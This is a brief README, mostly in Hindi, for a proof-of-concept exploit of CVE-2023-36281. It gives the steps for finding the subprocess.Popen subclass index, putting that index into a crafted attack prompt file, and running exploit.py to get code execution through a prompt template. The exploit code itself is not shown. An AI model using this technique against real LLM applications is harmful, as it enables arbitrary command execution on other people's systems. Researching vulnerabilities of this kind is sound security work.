
CVE-2023-36281 का PoC
CVE-2023-36281 का PoC
मैंने इस PoC का संदर्भ लिया। दुर्भाग्य से, यह काम नहीं करता क्योंकि प्रत्येक Python वातावरण में subprocess.Popen के इंडेक्स अलग-अलग होते हैं। हालाँकि, मेरा PoC कोड इस समस्या का समाधान करता है।
$ pip install -r requirements.txt
$ python get_index_of_subprocess.py
subprcess.Popen index: 309.
Replace target_index in attack_prompt.json with this value.
$ python exploit.py
README.md attack_prompt.json get_index_of_subprocess.py exploit.py requirements.txt